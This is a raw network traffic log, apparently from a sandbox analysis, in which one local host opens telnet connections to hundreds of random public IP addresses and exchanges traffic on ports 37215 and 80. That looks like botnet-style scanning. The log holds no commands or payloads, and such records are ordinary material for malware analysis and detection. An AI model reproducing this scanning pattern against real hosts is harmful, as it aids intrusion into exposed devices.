Oct 17, 2024 02:19:44.553572893 CEST	20632	23	192.168.2.14	61.218.248.107
Oct 17, 2024 02:19:44.553575039 CEST	20632	23	192.168.2.14	125.199.138.72
Oct 17, 2024 02:19:44.553581953 CEST	20632	23	192.168.2.14	14.28.159.114
Oct 17, 2024 02:19:44.553581953 CEST	20632	23	192.168.2.14	49.158.141.151
Oct 17, 2024 02:19:44.553590059 CEST	20632	23	192.168.2.14	193.55.197.255
Oct 17, 2024 02:19:44.553590059 CEST	20632	23	192.168.2.14	99.40.39.14
Oct 17, 2024 02:19:44.553590059 CEST	20632	23	192.168.2.14	19.76.235.178
Oct 17, 2024 02:19:44.553592920 CEST	20632	23	192.168.2.14	150.3.31.236
Oct 17, 2024 02:19:44.553606987 CEST	20632	23	192.168.2.14	209.190.35.88
Oct 17, 2024 02:19:44.553616047 CEST	20632	23	192.168.2.14	106.198.183.53
Oct 17, 2024 02:19:44.553634882 CEST	20632	23	192.168.2.14	113.237.223.16
Oct 17, 2024 02:19:44.553634882 CEST	20632	23	192.168.2.14	207.44.248.164
Oct 17, 2024 02:19:44.553646088 CEST	20632	23	192.168.2.14	34.42.173.81
Oct 17, 2024 02:19:44.553661108 CEST	20632	23	192.168.2.14	155.159.91.77
Oct 17, 2024 02:19:44.553668976 CEST	20632	23	192.168.2.14	200.117.200.61
Oct 17, 2024 02:19:44.553678036 CEST	20632	23	192.168.2.14	45.240.61.253
Oct 17, 2024 02:19:44.553678036 CEST	20632	23	192.168.2.14	50.108.180.83
Oct 17, 2024 02:19:44.553679943 CEST	20632	23	192.168.2.14	182.35.252.18
Oct 17, 2024 02:19:44.553679943 CEST	20632	23	192.168.2.14	27.217.218.127
Oct 17, 2024 02:19:44.553688049 CEST	20632	23	192.168.2.14	150.244.140.208
Oct 17, 2024 02:19:44.553688049 CEST	20632	23	192.168.2.14	184.172.240.0
Oct 17, 2024 02:19:44.553689003 CEST	20632	23	192.168.2.14	197.71.25.199
Oct 17, 2024 02:19:44.553699970 CEST	20632	23	192.168.2.14	81.203.28.66
Oct 17, 2024 02:19:44.553715944 CEST	20632	23	192.168.2.14	104.81.213.72
Oct 17, 2024 02:19:44.553714991 CEST	20632	23	192.168.2.14	41.139.225.92
Oct 17, 2024 02:19:44.553714991 CEST	20632	23	192.168.2.14	51.232.13.247
Oct 17, 2024 02:19:44.553733110 CEST	20632	23	192.168.2.14	92.7.37.183
Oct 17, 2024 02:19:44.553733110 CEST	20632	23	192.168.2.14	189.163.151.5
Oct 17, 2024 02:19:44.553733110 CEST	20632	23	192.168.2.14	142.106.199.182
Oct 17, 2024 02:19:44.553744078 CEST	20632	23	192.168.2.14	84.189.141.5
Oct 17, 2024 02:19:44.553744078 CEST	20632	23	192.168.2.14	59.236.172.18
Oct 17, 2024 02:19:44.553745985 CEST	20632	23	192.168.2.14	222.192.47.63
Oct 17, 2024 02:19:44.553759098 CEST	20632	23	192.168.2.14	121.223.203.139
Oct 17, 2024 02:19:44.553759098 CEST	20632	23	192.168.2.14	13.126.1.106
Oct 17, 2024 02:19:44.553770065 CEST	20632	23	192.168.2.14	163.174.34.83
Oct 17, 2024 02:19:44.553770065 CEST	20632	23	192.168.2.14	48.124.191.175
Oct 17, 2024 02:19:44.553771973 CEST	20632	23	192.168.2.14	35.198.44.19
Oct 17, 2024 02:19:44.553786993 CEST	20632	23	192.168.2.14	177.120.214.165
Oct 17, 2024 02:19:44.553786993 CEST	20632	23	192.168.2.14	76.58.93.122
Oct 17, 2024 02:19:44.553802013 CEST	20632	23	192.168.2.14	190.195.100.178
Oct 17, 2024 02:19:44.553802967 CEST	20632	23	192.168.2.14	205.68.221.156
Oct 17, 2024 02:19:44.553802967 CEST	20632	23	192.168.2.14	5.250.134.75
Oct 17, 2024 02:19:44.553814888 CEST	20632	23	192.168.2.14	106.116.87.179
Oct 17, 2024 02:19:44.553814888 CEST	20632	23	192.168.2.14	201.159.110.194
Oct 17, 2024 02:19:44.553822994 CEST	20632	23	192.168.2.14	96.32.115.77
Oct 17, 2024 02:19:44.553829908 CEST	20632	23	192.168.2.14	179.234.102.81
Oct 17, 2024 02:19:44.553829908 CEST	20632	23	192.168.2.14	187.170.115.121
Oct 17, 2024 02:19:44.553837061 CEST	20632	23	192.168.2.14	171.201.51.213
Oct 17, 2024 02:19:44.553841114 CEST	20632	23	192.168.2.14	211.248.102.35
Oct 17, 2024 02:19:44.553852081 CEST	20632	23	192.168.2.14	124.80.197.213
Oct 17, 2024 02:19:44.553854942 CEST	20632	23	192.168.2.14	102.36.23.25
Oct 17, 2024 02:19:44.553867102 CEST	20632	23	192.168.2.14	47.41.33.253
Oct 17, 2024 02:19:44.553870916 CEST	20632	23	192.168.2.14	130.110.47.79
Oct 17, 2024 02:19:44.553884029 CEST	20632	23	192.168.2.14	181.30.107.126
Oct 17, 2024 02:19:44.553884029 CEST	20632	23	192.168.2.14	135.117.18.127
Oct 17, 2024 02:19:44.553884029 CEST	20632	23	192.168.2.14	49.78.213.93
Oct 17, 2024 02:19:44.553884029 CEST	20632	23	192.168.2.14	217.141.162.107
Oct 17, 2024 02:19:44.553891897 CEST	20632	23	192.168.2.14	41.195.202.186
Oct 17, 2024 02:19:44.553903103 CEST	20632	23	192.168.2.14	121.17.244.89
Oct 17, 2024 02:19:44.553915024 CEST	20632	23	192.168.2.14	137.113.65.172
Oct 17, 2024 02:19:44.553917885 CEST	20632	23	192.168.2.14	101.230.199.192
Oct 17, 2024 02:19:44.553936958 CEST	20632	23	192.168.2.14	200.31.45.26
Oct 17, 2024 02:19:44.553936958 CEST	20632	23	192.168.2.14	83.171.254.76
Oct 17, 2024 02:19:44.553942919 CEST	20632	23	192.168.2.14	162.223.157.71
Oct 17, 2024 02:19:44.553958893 CEST	20632	23	192.168.2.14	154.237.93.1
Oct 17, 2024 02:19:44.553960085 CEST	20632	23	192.168.2.14	133.212.99.234
Oct 17, 2024 02:19:44.553960085 CEST	20632	23	192.168.2.14	184.89.46.84
Oct 17, 2024 02:19:44.553963900 CEST	20632	23	192.168.2.14	200.114.107.214
Oct 17, 2024 02:19:44.553963900 CEST	20632	23	192.168.2.14	102.87.24.57
Oct 17, 2024 02:19:44.553966045 CEST	20632	23	192.168.2.14	62.130.246.229
Oct 17, 2024 02:19:44.553981066 CEST	20632	23	192.168.2.14	192.201.73.216
Oct 17, 2024 02:19:44.553997993 CEST	20632	23	192.168.2.14	134.113.9.195
Oct 17, 2024 02:19:44.553998947 CEST	20632	23	192.168.2.14	106.139.216.62
Oct 17, 2024 02:19:44.553998947 CEST	20632	23	192.168.2.14	102.155.95.92
Oct 17, 2024 02:19:44.554006100 CEST	20632	23	192.168.2.14	145.52.140.105
Oct 17, 2024 02:19:44.554006100 CEST	20632	23	192.168.2.14	97.128.57.98
Oct 17, 2024 02:19:44.554016113 CEST	20632	23	192.168.2.14	80.79.147.213
Oct 17, 2024 02:19:44.554017067 CEST	20632	23	192.168.2.14	18.216.236.87
Oct 17, 2024 02:19:44.554016113 CEST	20632	23	192.168.2.14	58.172.254.214
Oct 17, 2024 02:19:44.554028034 CEST	20632	23	192.168.2.14	8.169.92.209
Oct 17, 2024 02:19:44.554033041 CEST	20632	23	192.168.2.14	208.57.116.38
Oct 17, 2024 02:19:44.554033041 CEST	20632	23	192.168.2.14	60.204.15.221
Oct 17, 2024 02:19:44.554039001 CEST	20632	23	192.168.2.14	112.171.197.207
Oct 17, 2024 02:19:44.554039955 CEST	20632	23	192.168.2.14	81.204.85.11
Oct 17, 2024 02:19:44.554052114 CEST	20632	23	192.168.2.14	1.184.126.53
Oct 17, 2024 02:19:44.554063082 CEST	20632	23	192.168.2.14	217.97.90.118
Oct 17, 2024 02:19:44.554063082 CEST	20632	23	192.168.2.14	162.176.90.15
Oct 17, 2024 02:19:44.554065943 CEST	20632	23	192.168.2.14	185.156.121.6
Oct 17, 2024 02:19:44.554068089 CEST	20632	23	192.168.2.14	144.16.221.100
Oct 17, 2024 02:19:44.554075956 CEST	20632	23	192.168.2.14	112.131.53.1
Oct 17, 2024 02:19:44.554079056 CEST	20632	23	192.168.2.14	171.22.86.24
Oct 17, 2024 02:19:44.554090023 CEST	20632	23	192.168.2.14	202.156.67.234
Oct 17, 2024 02:19:44.554094076 CEST	20632	23	192.168.2.14	77.223.104.200
Oct 17, 2024 02:19:44.554097891 CEST	20632	23	192.168.2.14	17.71.122.94
Oct 17, 2024 02:19:44.554104090 CEST	20632	23	192.168.2.14	72.164.233.171
Oct 17, 2024 02:19:44.554104090 CEST	20632	23	192.168.2.14	50.95.94.81
Oct 17, 2024 02:19:44.554106951 CEST	20632	23	192.168.2.14	89.212.101.196
Oct 17, 2024 02:19:44.554107904 CEST	20632	23	192.168.2.14	98.105.78.169
Oct 17, 2024 02:19:44.554119110 CEST	20632	23	192.168.2.14	175.25.24.214
Oct 17, 2024 02:19:44.554124117 CEST	20632	23	192.168.2.14	102.199.2.249
Oct 17, 2024 02:19:44.554128885 CEST	20632	23	192.168.2.14	173.22.38.251
Oct 17, 2024 02:19:44.554137945 CEST	20632	23	192.168.2.14	40.74.19.119
Oct 17, 2024 02:19:44.554145098 CEST	20632	23	192.168.2.14	91.171.144.207
Oct 17, 2024 02:19:44.554152012 CEST	20632	23	192.168.2.14	185.224.202.99
Oct 17, 2024 02:19:44.554160118 CEST	20632	23	192.168.2.14	165.221.61.127
Oct 17, 2024 02:19:44.554164886 CEST	20632	23	192.168.2.14	83.18.208.101
Oct 17, 2024 02:19:44.554167986 CEST	20632	23	192.168.2.14	51.222.151.131
Oct 17, 2024 02:19:44.554179907 CEST	20632	23	192.168.2.14	152.122.197.36
Oct 17, 2024 02:19:44.554179907 CEST	20632	23	192.168.2.14	52.222.119.97
Oct 17, 2024 02:19:44.554179907 CEST	20632	23	192.168.2.14	92.244.217.176
Oct 17, 2024 02:19:44.554182053 CEST	20632	23	192.168.2.14	72.53.215.254
Oct 17, 2024 02:19:44.554188967 CEST	20632	23	192.168.2.14	46.53.201.37
Oct 17, 2024 02:19:44.554203987 CEST	20632	23	192.168.2.14	211.192.254.189
Oct 17, 2024 02:19:44.554210901 CEST	20632	23	192.168.2.14	194.23.191.113
Oct 17, 2024 02:19:44.554214954 CEST	20632	23	192.168.2.14	54.250.230.102
Oct 17, 2024 02:19:44.554214954 CEST	20632	23	192.168.2.14	216.86.243.239
Oct 17, 2024 02:19:44.554224014 CEST	20632	23	192.168.2.14	96.174.13.225
Oct 17, 2024 02:19:44.554229975 CEST	20632	23	192.168.2.14	180.59.28.40
Oct 17, 2024 02:19:44.554239035 CEST	20632	23	192.168.2.14	217.136.71.185
Oct 17, 2024 02:19:44.554240942 CEST	20632	23	192.168.2.14	176.247.205.40
Oct 17, 2024 02:19:44.554240942 CEST	20632	23	192.168.2.14	184.174.20.242
Oct 17, 2024 02:19:44.554250956 CEST	20632	23	192.168.2.14	68.219.0.238
Oct 17, 2024 02:19:44.554253101 CEST	20632	23	192.168.2.14	38.59.239.163
Oct 17, 2024 02:19:44.554253101 CEST	20632	23	192.168.2.14	74.67.150.85
Oct 17, 2024 02:19:44.554260969 CEST	20632	23	192.168.2.14	91.94.228.17
Oct 17, 2024 02:19:44.554260969 CEST	20632	23	192.168.2.14	157.30.11.126
Oct 17, 2024 02:19:44.554265976 CEST	20632	23	192.168.2.14	51.185.118.52
Oct 17, 2024 02:19:44.554274082 CEST	20632	23	192.168.2.14	139.31.180.43
Oct 17, 2024 02:19:44.554286003 CEST	20632	23	192.168.2.14	143.138.35.234
Oct 17, 2024 02:19:44.554292917 CEST	20632	23	192.168.2.14	97.111.153.61
Oct 17, 2024 02:19:44.554292917 CEST	20632	23	192.168.2.14	93.40.38.53
Oct 17, 2024 02:19:44.554306984 CEST	20632	23	192.168.2.14	9.84.160.166
Oct 17, 2024 02:19:44.554315090 CEST	20632	23	192.168.2.14	199.138.13.14
Oct 17, 2024 02:19:44.554315090 CEST	20632	23	192.168.2.14	204.207.42.84
Oct 17, 2024 02:19:44.554316998 CEST	20632	23	192.168.2.14	62.24.235.233
Oct 17, 2024 02:19:44.554316998 CEST	20632	23	192.168.2.14	169.172.121.42
Oct 17, 2024 02:19:44.554335117 CEST	20632	23	192.168.2.14	117.185.130.52
Oct 17, 2024 02:19:44.554335117 CEST	20632	23	192.168.2.14	78.163.245.238
Oct 17, 2024 02:19:44.554335117 CEST	20632	23	192.168.2.14	67.182.72.214
Oct 17, 2024 02:19:44.554348946 CEST	20632	23	192.168.2.14	96.78.25.190
Oct 17, 2024 02:19:44.554351091 CEST	20632	23	192.168.2.14	78.63.251.91
Oct 17, 2024 02:19:44.554351091 CEST	20632	23	192.168.2.14	58.161.242.123
Oct 17, 2024 02:19:44.554352999 CEST	20632	23	192.168.2.14	92.69.22.195
Oct 17, 2024 02:19:44.554354906 CEST	20632	23	192.168.2.14	45.60.13.244
Oct 17, 2024 02:19:44.554372072 CEST	20632	23	192.168.2.14	92.202.189.34
Oct 17, 2024 02:19:44.554372072 CEST	20632	23	192.168.2.14	70.74.8.167
Oct 17, 2024 02:19:44.554373980 CEST	20632	23	192.168.2.14	120.138.244.63
Oct 17, 2024 02:19:44.554378986 CEST	20632	23	192.168.2.14	24.115.61.125
Oct 17, 2024 02:19:44.554383039 CEST	20632	23	192.168.2.14	131.60.85.130
Oct 17, 2024 02:19:44.554383039 CEST	20632	23	192.168.2.14	187.76.29.37
Oct 17, 2024 02:19:44.554394960 CEST	20632	23	192.168.2.14	218.136.202.234
Oct 17, 2024 02:19:44.554403067 CEST	20632	23	192.168.2.14	43.24.74.0
Oct 17, 2024 02:19:44.554404974 CEST	20632	23	192.168.2.14	38.251.170.101
Oct 17, 2024 02:19:44.554404974 CEST	20632	23	192.168.2.14	126.75.11.195
Oct 17, 2024 02:19:44.554414034 CEST	20632	23	192.168.2.14	140.66.110.235
Oct 17, 2024 02:19:44.554419041 CEST	20632	23	192.168.2.14	105.224.163.154
Oct 17, 2024 02:19:44.554435968 CEST	20632	23	192.168.2.14	154.231.56.4
Oct 17, 2024 02:19:44.554435968 CEST	20632	23	192.168.2.14	41.224.227.81
Oct 17, 2024 02:19:44.554436922 CEST	20632	23	192.168.2.14	187.5.171.110
Oct 17, 2024 02:19:44.554450035 CEST	20632	23	192.168.2.14	136.2.3.176
Oct 17, 2024 02:19:44.554455042 CEST	20632	23	192.168.2.14	107.118.157.156
Oct 17, 2024 02:19:44.554456949 CEST	20632	23	192.168.2.14	148.64.248.28
Oct 17, 2024 02:19:44.554471970 CEST	20632	23	192.168.2.14	168.8.26.96
Oct 17, 2024 02:19:44.554471970 CEST	20632	23	192.168.2.14	122.3.122.241
Oct 17, 2024 02:19:44.554476023 CEST	20632	23	192.168.2.14	172.89.177.210
Oct 17, 2024 02:19:44.554476023 CEST	20632	23	192.168.2.14	58.33.150.88
Oct 17, 2024 02:19:44.554476976 CEST	20632	23	192.168.2.14	69.246.136.235
Oct 17, 2024 02:19:44.554480076 CEST	20632	23	192.168.2.14	110.92.7.230
Oct 17, 2024 02:19:44.554480076 CEST	20632	23	192.168.2.14	12.232.149.138
Oct 17, 2024 02:19:44.554497957 CEST	20632	23	192.168.2.14	138.132.64.214
Oct 17, 2024 02:19:44.554497957 CEST	20632	23	192.168.2.14	8.99.40.127
Oct 17, 2024 02:19:44.554502010 CEST	20632	23	192.168.2.14	142.197.206.107
Oct 17, 2024 02:19:44.554517984 CEST	20632	23	192.168.2.14	13.202.163.95
Oct 17, 2024 02:19:44.554522991 CEST	20632	23	192.168.2.14	105.180.42.254
Oct 17, 2024 02:19:44.554528952 CEST	20632	23	192.168.2.14	131.37.225.184
Oct 17, 2024 02:19:44.554528952 CEST	20632	23	192.168.2.14	174.117.238.3
Oct 17, 2024 02:19:44.554542065 CEST	20632	23	192.168.2.14	116.240.39.62
Oct 17, 2024 02:19:44.554542065 CEST	20632	23	192.168.2.14	105.154.49.237
Oct 17, 2024 02:19:44.554546118 CEST	20632	23	192.168.2.14	198.83.44.187
Oct 17, 2024 02:19:44.554552078 CEST	20632	23	192.168.2.14	12.119.86.212
Oct 17, 2024 02:19:44.554559946 CEST	20632	23	192.168.2.14	78.178.99.5
Oct 17, 2024 02:19:44.554565907 CEST	20632	23	192.168.2.14	41.203.208.83
Oct 17, 2024 02:19:44.554567099 CEST	20632	23	192.168.2.14	83.28.70.45
Oct 17, 2024 02:19:44.554572105 CEST	20632	23	192.168.2.14	166.0.68.148
Oct 17, 2024 02:19:44.554579973 CEST	20632	23	192.168.2.14	177.101.96.197
Oct 17, 2024 02:19:44.554579973 CEST	20632	23	192.168.2.14	118.62.247.64
Oct 17, 2024 02:19:44.554598093 CEST	20632	23	192.168.2.14	209.45.111.58
Oct 17, 2024 02:19:44.554606915 CEST	20632	23	192.168.2.14	140.12.244.171
Oct 17, 2024 02:19:44.554620028 CEST	20632	23	192.168.2.14	191.178.19.190
Oct 17, 2024 02:19:44.554626942 CEST	20632	23	192.168.2.14	180.213.62.253
Oct 17, 2024 02:19:44.554632902 CEST	20632	23	192.168.2.14	43.134.176.194
Oct 17, 2024 02:19:44.554632902 CEST	20632	23	192.168.2.14	38.184.170.24
Oct 17, 2024 02:19:44.554632902 CEST	20632	23	192.168.2.14	39.6.251.161
Oct 17, 2024 02:19:44.554632902 CEST	20632	23	192.168.2.14	52.111.25.27
Oct 17, 2024 02:19:44.554636002 CEST	20632	23	192.168.2.14	23.173.128.29
Oct 17, 2024 02:19:44.554636002 CEST	20632	23	192.168.2.14	4.228.118.201
Oct 17, 2024 02:19:44.554641008 CEST	20632	23	192.168.2.14	36.148.8.22
Oct 17, 2024 02:19:44.554641008 CEST	20632	23	192.168.2.14	140.244.226.165
Oct 17, 2024 02:19:44.554651022 CEST	20632	23	192.168.2.14	186.150.43.31
Oct 17, 2024 02:19:44.554666042 CEST	20632	23	192.168.2.14	64.80.194.3
Oct 17, 2024 02:19:44.554666996 CEST	20632	23	192.168.2.14	37.148.16.130
Oct 17, 2024 02:19:44.554675102 CEST	20632	23	192.168.2.14	76.40.160.148
Oct 17, 2024 02:19:44.554675102 CEST	20632	23	192.168.2.14	65.158.185.33
Oct 17, 2024 02:19:44.554687023 CEST	20632	23	192.168.2.14	116.151.205.150
Oct 17, 2024 02:19:44.554687023 CEST	20632	23	192.168.2.14	85.231.96.215
Oct 17, 2024 02:19:44.554692984 CEST	20632	23	192.168.2.14	101.134.131.133
Oct 17, 2024 02:19:44.554692984 CEST	20632	23	192.168.2.14	154.194.103.251
Oct 17, 2024 02:19:44.554706097 CEST	20632	23	192.168.2.14	67.153.240.126
Oct 17, 2024 02:19:44.554707050 CEST	20632	23	192.168.2.14	115.85.233.27
Oct 17, 2024 02:19:44.554707050 CEST	20632	23	192.168.2.14	44.99.91.157
Oct 17, 2024 02:19:44.554713011 CEST	20632	23	192.168.2.14	163.98.187.187
Oct 17, 2024 02:19:44.554713011 CEST	20632	23	192.168.2.14	44.215.89.56
Oct 17, 2024 02:19:44.554714918 CEST	20632	23	192.168.2.14	208.52.125.128
Oct 17, 2024 02:19:44.554714918 CEST	20632	23	192.168.2.14	189.197.157.146
Oct 17, 2024 02:19:44.554714918 CEST	20632	23	192.168.2.14	115.79.208.199
Oct 17, 2024 02:19:44.554735899 CEST	20632	23	192.168.2.14	216.53.164.102
Oct 17, 2024 02:19:44.554738045 CEST	20632	23	192.168.2.14	185.64.199.163
Oct 17, 2024 02:19:44.554754019 CEST	20632	23	192.168.2.14	199.75.242.84
Oct 17, 2024 02:19:44.554761887 CEST	20632	23	192.168.2.14	204.158.113.142
Oct 17, 2024 02:19:44.554761887 CEST	20632	23	192.168.2.14	180.114.44.100
Oct 17, 2024 02:19:44.554764986 CEST	20632	23	192.168.2.14	82.188.121.76
Oct 17, 2024 02:19:44.554774046 CEST	20632	23	192.168.2.14	14.19.161.244
Oct 17, 2024 02:19:44.554774046 CEST	20632	23	192.168.2.14	115.113.162.221
Oct 17, 2024 02:19:44.554778099 CEST	20632	23	192.168.2.14	67.65.34.137
Oct 17, 2024 02:19:44.554785013 CEST	20632	23	192.168.2.14	123.33.233.125
Oct 17, 2024 02:19:44.554785013 CEST	20632	23	192.168.2.14	202.199.42.111
Oct 17, 2024 02:19:44.554786921 CEST	20632	23	192.168.2.14	107.91.90.20
Oct 17, 2024 02:19:44.554786921 CEST	20632	23	192.168.2.14	50.20.218.98
Oct 17, 2024 02:19:44.554812908 CEST	20632	23	192.168.2.14	216.73.161.254
Oct 17, 2024 02:19:44.554816008 CEST	20632	23	192.168.2.14	114.13.148.37
Oct 17, 2024 02:19:44.554832935 CEST	20632	23	192.168.2.14	84.150.2.66
Oct 17, 2024 02:19:44.554832935 CEST	20632	23	192.168.2.14	20.195.148.183
Oct 17, 2024 02:19:44.554833889 CEST	20632	23	192.168.2.14	93.169.84.206
Oct 17, 2024 02:19:44.554840088 CEST	20632	23	192.168.2.14	5.217.228.225
Oct 17, 2024 02:19:44.554845095 CEST	20632	23	192.168.2.14	110.58.4.20
Oct 17, 2024 02:19:44.554858923 CEST	20632	23	192.168.2.14	171.53.148.213
Oct 17, 2024 02:19:44.554864883 CEST	20632	23	192.168.2.14	37.250.118.185
Oct 17, 2024 02:19:44.554872990 CEST	20632	23	192.168.2.14	5.91.95.66
Oct 17, 2024 02:19:44.554877996 CEST	20632	23	192.168.2.14	19.222.80.175
Oct 17, 2024 02:19:44.554878950 CEST	20632	23	192.168.2.14	118.75.187.143
Oct 17, 2024 02:19:44.554887056 CEST	20632	23	192.168.2.14	204.7.15.71
Oct 17, 2024 02:19:44.554887056 CEST	20632	23	192.168.2.14	171.91.184.62
Oct 17, 2024 02:19:44.554891109 CEST	20632	23	192.168.2.14	133.60.33.172
Oct 17, 2024 02:19:44.554898977 CEST	20632	23	192.168.2.14	186.107.85.9
Oct 17, 2024 02:19:44.554900885 CEST	20632	23	192.168.2.14	106.54.139.141
Oct 17, 2024 02:19:44.554900885 CEST	20632	23	192.168.2.14	196.17.158.62
Oct 17, 2024 02:19:44.554910898 CEST	20632	23	192.168.2.14	25.209.94.115
Oct 17, 2024 02:19:44.554913044 CEST	20632	23	192.168.2.14	9.200.171.152
Oct 17, 2024 02:19:44.554918051 CEST	20632	23	192.168.2.14	155.126.205.162
Oct 17, 2024 02:19:44.554918051 CEST	20632	23	192.168.2.14	181.36.252.3
Oct 17, 2024 02:19:44.554938078 CEST	20632	23	192.168.2.14	151.168.236.168
Oct 17, 2024 02:19:44.554939985 CEST	20632	23	192.168.2.14	162.250.82.37
Oct 17, 2024 02:19:44.554945946 CEST	20632	23	192.168.2.14	78.167.38.10
Oct 17, 2024 02:19:44.554958105 CEST	20632	23	192.168.2.14	171.51.32.98
Oct 17, 2024 02:19:44.554960966 CEST	20632	23	192.168.2.14	201.207.82.15
Oct 17, 2024 02:19:44.554960966 CEST	20632	23	192.168.2.14	175.29.148.151
Oct 17, 2024 02:19:44.554963112 CEST	20632	23	192.168.2.14	94.104.176.243
Oct 17, 2024 02:19:44.554980040 CEST	20632	23	192.168.2.14	153.251.31.174
Oct 17, 2024 02:19:44.558281898 CEST	37215	54692	41.157.56.29	192.168.2.14
Oct 17, 2024 02:19:44.558326960 CEST	54692	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:44.558572054 CEST	80	48864	59.213.205.136	192.168.2.14
Oct 17, 2024 02:19:44.558629990 CEST	48864	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:44.558665037 CEST	37215	34730	197.78.47.248	192.168.2.14
Oct 17, 2024 02:19:44.558798075 CEST	34730	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:44.611737013 CEST	58250	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:44.611756086 CEST	37964	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:44.611861944 CEST	41184	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:44.616703033 CEST	80	58250	208.9.61.39	192.168.2.14
Oct 17, 2024 02:19:44.616729021 CEST	37215	37964	197.159.26.158	192.168.2.14
Oct 17, 2024 02:19:44.616740942 CEST	37215	41184	41.67.208.122	192.168.2.14
Oct 17, 2024 02:19:44.616766930 CEST	58250	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:44.616794109 CEST	37964	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:44.616903067 CEST	58250	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:44.616914034 CEST	41184	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:44.617130995 CEST	41184	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:44.617162943 CEST	37964	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:44.621995926 CEST	80	58250	208.9.61.39	192.168.2.14
Oct 17, 2024 02:19:44.622194052 CEST	58250	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:44.622246981 CEST	37215	37964	197.159.26.158	192.168.2.14
Oct 17, 2024 02:19:44.622350931 CEST	37215	41184	41.67.208.122	192.168.2.14
Oct 17, 2024 02:19:44.622374058 CEST	37964	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:44.622492075 CEST	41184	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:44.655052900 CEST	23	59608	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:44.655256033 CEST	59608	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:44.656280041 CEST	59946	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:44.660073042 CEST	23	59608	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:44.661091089 CEST	23	59946	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:44.661289930 CEST	59946	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:44.675856113 CEST	44196	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:44.680681944 CEST	37215	44196	197.67.55.160	192.168.2.14
Oct 17, 2024 02:19:44.680754900 CEST	44196	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:44.680844069 CEST	44196	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:44.685951948 CEST	37215	44196	197.67.55.160	192.168.2.14
Oct 17, 2024 02:19:44.686013937 CEST	44196	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:44.707726002 CEST	37976	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:44.707730055 CEST	37658	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:44.707751036 CEST	59832	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:44.712701082 CEST	37215	37658	156.160.243.72	192.168.2.14
Oct 17, 2024 02:19:44.712713957 CEST	37215	37976	41.97.224.74	192.168.2.14
Oct 17, 2024 02:19:44.712723970 CEST	80	59832	212.160.200.226	192.168.2.14
Oct 17, 2024 02:19:44.712776899 CEST	37976	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:44.712788105 CEST	59832	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:44.712867022 CEST	37658	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:44.712867022 CEST	37658	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:44.712883949 CEST	37976	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:44.713123083 CEST	59832	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:44.718115091 CEST	37215	37976	41.97.224.74	192.168.2.14
Oct 17, 2024 02:19:44.718168974 CEST	37976	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:44.718348026 CEST	80	59832	212.160.200.226	192.168.2.14
Oct 17, 2024 02:19:44.718401909 CEST	59832	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:44.718461037 CEST	37215	37658	156.160.243.72	192.168.2.14
Oct 17, 2024 02:19:44.718565941 CEST	37658	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:44.771724939 CEST	50584	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:44.771725893 CEST	42628	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:44.771725893 CEST	49844	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:44.776698112 CEST	80	50584	45.36.46.7	192.168.2.14
Oct 17, 2024 02:19:44.776710033 CEST	37215	42628	41.74.170.248	192.168.2.14
Oct 17, 2024 02:19:44.776721001 CEST	80	49844	62.200.140.21	192.168.2.14
Oct 17, 2024 02:19:44.776782036 CEST	49844	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:44.776782036 CEST	50584	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:44.776791096 CEST	42628	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:44.776876926 CEST	49844	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:44.776909113 CEST	50584	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:44.777251005 CEST	42628	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:44.782300949 CEST	80	49844	62.200.140.21	192.168.2.14
Oct 17, 2024 02:19:44.782351971 CEST	49844	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:44.782551050 CEST	37215	42628	41.74.170.248	192.168.2.14
Oct 17, 2024 02:19:44.782613993 CEST	42628	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:44.782639027 CEST	80	50584	45.36.46.7	192.168.2.14
Oct 17, 2024 02:19:44.782716990 CEST	50584	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:44.803738117 CEST	59768	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:44.808645010 CEST	37215	59768	156.59.108.206	192.168.2.14
